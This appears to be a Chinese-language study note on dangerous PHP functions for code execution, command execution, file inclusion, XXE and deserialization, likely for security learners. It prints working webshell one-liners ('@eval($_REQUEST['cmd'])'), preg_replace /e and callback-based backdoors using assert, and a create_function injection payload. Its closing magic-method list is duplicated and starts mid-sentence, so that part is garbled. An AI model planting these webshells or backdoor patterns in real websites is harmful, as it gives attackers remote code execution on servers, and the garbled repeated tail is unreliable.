RCE高危函数
1. eval()
eval(string $code)
含义:把字符串 code
作为PHP代码执行。
经典的一句话木马
<?php
@eval($_REQUEST['cmd']); <= 注意纯数字就不用加引号,有字母就需要加个引号
?>
2. assert()
与eval()
起着类似的作用,字符串会被当做php代码执行,但它与eval()
区别在于,assert一次性只能执行一条函数,而eval
可以执行多条语句。
例如
eval()函数
assert()函数
可以看到assert()函数只执行了whoami命令
,后面的phpinfo()就未执行。
3. preg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement ,
|| ||
搜索匹配这个的部分 用这个替换
mixed $subject [, int $limit = -1 [, int &$count ]] )
||
在这里面搜索
参数说明:
-
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
-
$replacement: 用于替换的字符串或字符串数组
-
$subject: 要搜索替换的目标字符串或字符串数组
-
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)
-
$count: 可选,为替换执行的次数
返回值:
当搜索的subject
是一个数组,那么preg_replace()也会返回一个数组,其他情况下返回一个字符串。
危险点:
-
preg_replace()函数原本是执行一个正则表达式的搜索和替换
- 但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码
<?php
修饰符
||
@preg_replace("/abc/e",$_REQUEST[6],"abcd");
|| || ||
$pattern $replacement $subject
?>
那么我们就构造payload
<?php
$pattern=$_GET[1];
$subject=$_GET[2];
@preg_replace($pattern,$_REQUEST[6],$subject);
?>
4. create_function()
$myfunc = create_function('$name','echo "hello".$name;');
$myfunc('tony')
- 所以create_function函数中的两个参数必须是动态的
那么可以构造payload
例如,创建一个有问题的代码
$id = $_GET['id'];
$code = 'return $a."_"'.$id.';';
// 动态创建函数
$func = create_function('$a', $code);
// 调用
$func(1)();
payload
?id=;}phpinfo();/*
5. array_map
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
那么
$new_array=array_map("assert",$array);
//该行等价于 ==> assert($cmd);
6. call_user_func()
把第一个参数作为回调函数调用,其余参数是回调函数的参数
$func=$_GET['func'];
$cmd=$_GET['cmd'];
@call_user_func($func,$cmd);
@call_user_func('assert',$_GET['cmd']);
后面的就等于?cmd=phpinfo()
7. call_user_func_array
调用回调函数,并把一个数组参数作为回调函数的参数
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array=array($cmd);
call_user_func_array($func,$array);
8. array_filter()
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
9. 文件操作函数——file_put_contents()
将一个字符串写入文件夹中
file_put_contents($filename
, $data
);
命令执行
1. system
如果是linux,就会执行Bash命令,windows则会执行cmd命令
2. exec
与system一直,但是这个函数需要自己输出,以及返回最后一行数据
system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo或 return 来查看结果,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。
3. shell_exec
PHP会去操纵计算机执行相关的命令,且获取所有数据
4. passthru
只调用命令,把命令的运行结果直接输出到标准输出设备
passthru ("ping 127.0.0.1");
5. popen
resource popen ( string$command
, string$mode
)
这个执行的返回值比较特殊,返回的是一个文件指针,需要用fread去读取返回值。
文件包含漏洞
1. include()
找不到被包含的文件时只会产生警告,脚本将继续执行
2.include_once()
和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
3. require()
找不到被包含的文件时会产生致命错误,并停止脚本
4.require_once()
和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
XXE漏洞
simplexml_load_string
含义是把 XML 字符串载入对象中如果失败,则返回 false,然后我们就可以引入外部实体,从而造成xxe漏洞攻击
反序列化漏洞
unserialize()
其中反序列化漏洞也应该熟悉魔术方法,比如
-
__construct()
- 类的构造方法,用于在创建对象时进行初始化操作时调用
-
__destruct()
- 类的析构函数,用于在对象销毁时执行清理操作时调用
-
__call()
- 在对象中调用一个不可访问方法时调用
-
__get()
- 访问一个不存在的成员变量或访问一个private和protected成员变量时调用
-
__set()
- 设置一个类的成员变量时调用
-
__isset()
- 当对不可访问属性调用isset()或empty()时调用
-
__unset()
- 当对不可访问属性调用unset()时被调用
-
__sleep()
- 执行序列化——serialize(),时,先会调用这个函数
-
__wakeup()
- 执行反序列化——unserialize()时,先会调用这个函数
-
__toString()
- 在echo或者print输出一个对象的时候自动调用
个类的成员变量时调用
- 在echo或者print输出一个对象的时候自动调用
-
__isset()
- 当对不可访问属性调用isset()或empty()时调用
-
__unset()
- 当对不可访问属性调用unset()时被调用
-
__sleep()
- 执行序列化——serialize(),时,先会调用这个函数
-
__wakeup()
- 执行反序列化——unserialize()时,先会调用这个函数
-
__toString()
- 在echo或者print输出一个对象的时候自动调用